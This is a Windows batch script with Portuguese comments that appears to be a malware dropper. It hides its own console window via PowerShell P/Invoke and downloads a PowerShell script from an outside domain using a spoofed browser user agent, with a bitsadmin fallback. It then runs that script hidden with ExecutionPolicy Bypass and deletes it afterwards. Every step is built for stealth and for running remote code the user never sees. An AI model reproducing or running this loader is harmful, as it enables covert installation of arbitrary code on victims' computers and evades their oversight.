@echo off
setlocal

set "LOG=%TEMP%\res08_log.txt"
echo [%date% %time%] === INICIO === > "%LOG%"

REM --- Oculta a janela CMD via PowerShell (P/Invoke ShowWindow SW_HIDE) ---
echo [%time%] Ocultando janela CMD... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $pp=(Get-CimInstance Win32_Process -Filter \"ProcessId=$PID\").ParentProcessId; $hw=(Get-Process -Id $pp -EA Stop).MainWindowHandle; if($hw -ne [IntPtr]::Zero){ Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);' -Name WU -Namespace '' -EA SilentlyContinue; [WU]::ShowWindow($hw,0)|Out-Null } } catch { }" 2>>"%LOG%"
echo [%time%] Janela ocultada >> "%LOG%"

set "PS1_URL=https://down.empresanetbbr.com/arquivos/inst"
set "UA=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
set "PS1_DST=C:\ProgramData\instalar.ps1"

REM --- Testa escrita em C:\ProgramData ---
echo [%time%] Testando permissao em C:\ProgramData >> "%LOG%"
echo test > "C:\ProgramData\_ext_test.tmp" 2>>"%LOG%"
if not exist "C:\ProgramData\_ext_test.tmp" (
    echo [%time%] ERRO: sem permissao de escrita em C:\ProgramData - execute como Administrador >> "%LOG%"
    timeout /t 8 /nobreak >nul
    exit /b 1
)
del "C:\ProgramData\_ext_test.tmp" 2>nul
echo [%time%] Permissao OK >> "%LOG%"

REM --- Passo 2: Download instalar.ps1 ---
echo [%time%] Baixando PS1 de: %PS1_URL% >> "%LOG%"
curl.exe -s -L --fail -A "%UA%" -o "%PS1_DST%" "%PS1_URL%" 2>>"%LOG%"
if not exist "%PS1_DST%" (
    echo [%time%] curl falhou, tentando bitsadmin... >> "%LOG%"
    bitsadmin /transfer ps1job /download /priority foreground "%PS1_URL%" "%PS1_DST%" >nul 2>>"%LOG%"
)
if not exist "%PS1_DST%" (
    echo [%time%] ERRO: falha ao baixar instalar.ps1 >> "%LOG%"
    timeout /t 5 /nobreak >nul
    exit /b 1
)
REM Verifica se o download retornou HTML em vez do script real

echo [%time%] PS1 baixado OK >> "%LOG%"

REM --- Passo 4: Re-encode + executar instalar.ps1 ---
echo [%time%] Re-encode do PS1... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$raw=[IO.File]::ReadAllBytes('%PS1_DST%'); if($raw[0]-ne0xFF-or$raw[1]-ne0xFE){if($raw[0]-eq0xEF-and$raw[1]-eq0xBB-and$raw[2]-eq0xBF){$t=[Text.Encoding]::UTF8.GetString($raw,3,$raw.Length-3)}else{$t=[Text.Encoding]::UTF8.GetString($raw)}; $t=$t.Replace(\"`r`n\",\"`n\").Replace(\"`n\",\"`r`n\"); $u=[Text.Encoding]::Unicode.GetBytes($t); [IO.File]::WriteAllBytes('%PS1_DST%',[byte[]](0xFF,0xFE)+$u)}"
echo [%time%] Executando instalar.ps1... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%PS1_DST%"
echo [%time%] instalar.ps1 finalizado (errorlevel=%errorlevel%) >> "%LOG%"

REM Limpa arquivos baixados e temporarios
del "%PS1_DST%" 2>nul

echo [%time%] === FIM === >> "%LOG%"
timeout /t 3 /nobreak >nul
exit /b 0
